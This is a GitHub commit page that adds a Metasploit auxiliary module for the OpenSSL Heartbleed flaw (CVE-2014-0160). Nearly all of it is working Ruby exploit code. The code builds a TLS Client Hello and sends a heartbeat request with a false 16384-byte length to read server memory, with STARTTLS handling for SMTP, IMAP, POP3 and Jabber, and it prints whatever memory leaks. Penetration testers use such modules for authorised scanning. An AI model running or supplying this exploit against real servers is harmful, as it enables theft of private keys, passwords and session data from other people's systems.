Skip to content

Commit e5375c9

Browse files
author
Tod Beardsley
committed
Add heartbleed module for release
1 parent 66e292a commit e5375c9

File tree

1 file changed

+299
-0
lines changed

1 file changed

+299
-0
lines changed
Lines changed: 299 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,299 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::Tcp
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
14+
CIPHER_SUITES = [
15+
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
16+
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
17+
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
18+
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
19+
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
20+
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
21+
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
22+
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
23+
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
24+
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
25+
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
26+
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
27+
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
28+
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
29+
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
30+
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
31+
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
32+
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
33+
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
34+
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
35+
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
36+
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
37+
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
38+
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
39+
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
40+
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
41+
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
42+
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
43+
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
44+
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
45+
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
46+
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
47+
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
48+
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
49+
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
50+
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
51+
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
52+
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
53+
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
54+
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
55+
0x0005, # TLS_RSA_WITH_RC4_128_SHA
56+
0x0004, # TLS_RSA_WITH_RC4_128_MD5
57+
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
58+
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
59+
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
60+
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
61+
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
62+
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
63+
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
64+
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
65+
0x00ff # Unknown
66+
]
67+
68+
HANDSHAKE_RECORD_TYPE = 0x16
69+
HEARTBEAT_RECORD_TYPE = 0x18
70+
ALERT_RECORD_TYPE = 0x15
71+
TLS_VERSION = {
72+
'1.0' => 0x0301,
73+
'1.1' => 0x0302,
74+
'1.2' => 0x0303
75+
}
76+
77+
TTLS_CALLBACKS = {
78+
'SMTP' => :tls_smtp,
79+
'IMAP' => :tls_imap,
80+
'JABBER' => :tls_jabber,
81+
'POP3' => :tls_pop3
82+
}
83+
84+
def initialize
85+
super(
86+
'Name' => 'OpenSSL Heartbeat Information Leak',
87+
'Description' => %q{
88+
This module implements the OpenSSL Heartbleed attack. The problem
89+
exists in the handling of heartbeat requests, where a fake length can
90+
be used to leak memory data in the response. Services that support
91+
STARTTLS may also be vulnerable.
92+
},
93+
'Author' => [
94+
'Neel Mehta', # Vulnerability discovery
95+
'Riku', # Vulnerability discovery
96+
'Antti', # Vulnerability discovery
97+
'Matti', # Vulnerability discovery
98+
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
99+
'FiloSottile', # PoC site and tool
100+
'Christian Mehlmauer <FireFart[at]gmail.com>', # Msf module
101+
'juan vazquez' # Msf module
102+
],
103+
'References' =>
104+
[
105+
['CVE', '2014-0160'],
106+
['US-CERT-VU', '720951'],
107+
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
108+
['URL', 'http://heartbleed.com/'],
109+
['URL', 'https://github.com/FiloSottile/Heartbleed'],
110+
['URL', 'https://gist.github.com/takeshixx/10107280'],
111+
['URL', 'http://filippo.io/Heartbleed/']
112+
],
113+
'DisclosureDate' => 'Apr 7 2014',
114+
'License' => MSF_LICENSE
115+
)
116+
117+
register_options(
118+
[
119+
Opt::RPORT(443),
120+
OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),
121+
OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.1', ['1.0', '1.1', '1.2']])
122+
], self.class)
123+
end
124+
125+
def peer
126+
"#{rhost}:#{rport}"
127+
end
128+
129+
def tls_smtp
130+
# https://tools.ietf.org/html/rfc3207
131+
sock.get_once
132+
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")
133+
res = sock.get_once
134+
135+
unless res && res =~ /STARTTLS/
136+
return nil
137+
end
138+
sock.put("STARTTLS\n")
139+
sock.get_once
140+
end
141+
142+
def tls_imap
143+
# http://tools.ietf.org/html/rfc2595
144+
sock.get_once
145+
sock.put("a001 CAPABILITY\r\n")
146+
res = sock.get_once
147+
unless res && res =~ /STARTTLS/i
148+
return nil
149+
end
150+
sock.put("a002 STARTTLS\r\n")
151+
sock.get_once
152+
end
153+
154+
def tls_pop3
155+
# http://tools.ietf.org/html/rfc2595
156+
sock.get_once
157+
sock.put("CAPA\r\n")
158+
res = sock.get_once
159+
if res.nil? || res =~ /^-/
160+
return nil
161+
end
162+
sock.put("STLS\r\n")
163+
res = sock.get_once
164+
if res.nil? || res =~ /^-/
165+
return nil
166+
end
167+
end
168+
169+
def tls_jabber
170+
# http://xmpp.org/extensions/xep-0035.html
171+
msg = "<?xml version='1.0' ?>"
172+
msg << "<stream:stream xmlns='jabber:client' "
173+
msg << "xmlns:stream='http://etherx.jabber.org/streams' "
174+
msg << "xmlns:tls='http://www.ietf.org/rfc/rfc2595.txt' "
175+
msg << "to='#{rhost}'>"
176+
sock.put(msg)
177+
res = sock.get_once
178+
return nil if res.nil? # SSL not supported
179+
return nil if res =~ /stream:error/ || res !~ /starttls/i
180+
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
181+
sock.put(msg)
182+
sock.get_once
183+
end
184+
185+
def run_host(ip)
186+
connect
187+
188+
unless datastore['STARTTLS'] == 'None'
189+
vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")
190+
res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])
191+
if res.nil?
192+
vprint_error("#{peer} - STARTTLS failed...")
193+
return
194+
end
195+
end
196+
197+
vprint_status("#{peer} - Sending Client Hello...")
198+
sock.put(client_hello)
199+
200+
server_hello = sock.get
201+
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
202+
vprint_error("#{peer} - Server Hello Not Found")
203+
return
204+
end
205+
206+
vprint_status("#{peer} - Sending Heartbeat...")
207+
heartbeat_length = 16384
208+
sock.put(heartbeat(heartbeat_length))
209+
hdr = sock.get_once(5)
210+
if hdr.blank?
211+
vprint_error("#{peer} - No Heartbeat response...")
212+
return
213+
end
214+
215+
unpacked = hdr.unpack('Cnn')
216+
type = unpacked[0]
217+
version = unpacked[1] # must match the type from client_hello
218+
len = unpacked[2]
219+
220+
# try to get the TLS error
221+
if type == ALERT_RECORD_TYPE
222+
res = sock.get_once(len)
223+
alert_unp = res.unpack('CC')
224+
alert_level = alert_unp[0]
225+
alert_desc = alert_unp[1]
226+
msg = "Unknown error"
227+
# http://tools.ietf.org/html/rfc5246#section-7.2
228+
case alert_desc
229+
when 0x46
230+
msg = "Protocol error. Looks like the chosen protocol is not supported."
231+
end
232+
print_error("#{peer} - #{msg}")
233+
disconnect
234+
return
235+
end
236+
237+
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]
238+
vprint_error("#{peer} - Unexpected Heartbeat response")
239+
disconnect
240+
return
241+
end
242+
243+
vprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")
244+
heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...
245+
if heartbeat_data
246+
print_good("#{peer} - Heartbeat response with leak")
247+
report_vuln({
248+
:host => rhost,
249+
:port => rport,
250+
:name => self.name,
251+
:refs => self.references,
252+
:info => "Module #{self.fullname} successfully leaked info"
253+
})
254+
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
255+
else
256+
vprint_error("#{peer} - Looks like there isn't leaked information...")
257+
end
258+
end
259+
260+
def heartbeat(length)
261+
payload = "\x01" # Heartbeat Message Type: Request (1)
262+
payload << [length].pack("n") # Payload Length: 16384
263+
264+
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
265+
end
266+
267+
def client_hello
268+
# Use current day for TLS time
269+
time_temp = Time.now
270+
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
271+
272+
hello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLS
273+
hello_data << [time_epoch].pack("N") # Time in epoch format
274+
hello_data << Rex::Text.rand_text(28) # Random
275+
hello_data << "\x00" # Session ID length
276+
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
277+
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
278+
hello_data << "\x01" # Compression methods length (1)
279+
hello_data << "\x00" # Compression methods: null
280+
281+
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
282+
hello_data_extensions << "\x00\x01" # Extension length
283+
hello_data_extensions << "\x01" # Extension data
284+
285+
hello_data << [hello_data_extensions.length].pack("n")
286+
hello_data << hello_data_extensions
287+
288+
data = "\x01\x00" # Handshake Type: Client Hello (1)
289+
data << [hello_data.length].pack("n") # Length
290+
data << hello_data
291+
292+
ssl_record(HANDSHAKE_RECORD_TYPE, data)
293+
end
294+
295+
def ssl_record(type, data)
296+
record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')
297+
record << data
298+
end
299+
end

0 commit comments

Comments
 (0)